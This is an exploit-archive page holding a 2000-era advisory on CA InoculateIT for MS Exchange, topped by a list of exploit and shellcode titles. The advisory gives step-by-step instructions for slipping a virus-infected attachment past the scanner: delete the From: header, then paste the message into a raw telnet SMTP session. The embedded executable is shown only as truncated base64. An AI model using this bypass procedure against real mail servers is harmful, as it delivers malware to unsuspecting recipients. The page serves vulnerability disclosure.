880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
78 lines
No EOL
3.3 KiB
Text
78 lines
No EOL
3.3 KiB
Text
source : https://www.securityfocus.com/bid/1935/info
|
|
|
|
InoculateIT 4.52 is a popular antivirus agent for Microsoft Exchange Servers.
|
|
|
|
A vulnerability exists in the InoculateIT Agent for MS Exchange that can allow a local attacker to pass a virus through both the agent and MS Exchange Server. There are reportedly numerous methods by which this can be accomplished, one of which is to remove the "From:" field in a infected message (MIME attachment included) and submit the message to the Exchange server. The Inoculate Agent will not detect the infected file when it is submitted in this manner.
|
|
|
|
If different organizations are using MS Exchange Server and InoculateIT Agents (with MS IMC being used to send the messages) the following vulnerabilities can exist:
|
|
|
|
If a message is sent with only an infected file in the body of the message and no text, the Inoculate IT Agents will not detect the virus.
|
|
|
|
If a message contains embedded characters and an infected attachment, InoculateIT will not open the attachment for scanning.
|
|
|
|
InoculateIT only scans for messages destined for an Inbox folder. If a ruleset exists on the server whereby messages are directed to another mailbox, an infected file can bypass virus scanning.
|
|
|
|
1. Get a message containing any infected attached MIME encoded file. I
|
|
simply filtered out via EX to C:\TurfDir sending from outside to EX;
|
|
|
|
2. Edit the file (I used MS Notepad.exe) and just remove the "From:
|
|
..." line from the SMTP header. Something like this:
|
|
|
|
Remove this line: From: Test <Test@abc.com.br>
|
|
To: Joe Bob <jbob@xyz.com.br>
|
|
Subject: Test
|
|
Date: Mon, 23 Oct 2000 10:59:53 -0200
|
|
MIME-Version: 1.0
|
|
X-Mailer: Internet Mail Service (5.5.2650.21)
|
|
Content-Type: application/x-msdownload;
|
|
name="Fix2001.exe"
|
|
Content-Transfer-Encoding: base64
|
|
Content-Disposition: attachment;
|
|
filename="Fix2001.exe"
|
|
|
|
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
|
|
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABjDAXbJ21riCdta4gnbWuIJ21riGRta4ikcWWIJm
|
|
1riFJpY2gnbWuIAAAAAAAAAABQRQAATAEDAJ/L0zcAAAAAAAAAAOAADwELAQUMABoAAAAA
|
|
AgAAAAAAABAAAAAQAAAAMAAA...
|
|
|
|
3. Copy the Notepad content to clipboard;
|
|
|
|
4. Issue "telnet your_exsrvr 25" command:
|
|
|
|
220 aaa.xyz.com.br ESMTP Server (Microsoft Exchange Internet Mail
|
|
Service 5.5.2650.21) ready
|
|
helo
|
|
250 OK
|
|
mail from:<>
|
|
250 OK - mail from <>
|
|
rcpt to:<jbob@xyz.com.br>
|
|
250 OK - Recipient <jbob@xyz.com.br>
|
|
data
|
|
354 Send data. End with CRLF.CRLF
|
|
|
|
Here, paste from clipboard (Win2K, just a mouse right-click).
|
|
Something like this:
|
|
|
|
To: Joe Bob <jbob@xyz.com.br>
|
|
Subject: Test
|
|
Date: Mon, 23 Oct 2000 10:59:53 -0200
|
|
MIME-Version: 1.0
|
|
X-Mailer: Internet Mail Service (5.5.2650.21)
|
|
Content-Type: application/x-msdownload;
|
|
name="Fix2001.exe"
|
|
Content-Transfer-Encoding: base64
|
|
Content-Disposition: attachment;
|
|
filename="Fix2001.exe"
|
|
|
|
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
|
|
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABjDAXbJ21riCdta4gnbWuIJ21riGRta4ikcWWIJm
|
|
1riFJpY2gnbWuIAAAAAAAAAABQRQAATAEDAJ/L0zcAAAAAAAAAAOAADwELAQUMABoAAAAA
|
|
AgAAAAAAABAAAAAQAAAAMAAA...
|
|
|
|
250 OK
|
|
quit
|
|
221 closing connection
|
|
|
|
5. Message sent, CA's Agent will not detect the infected file. |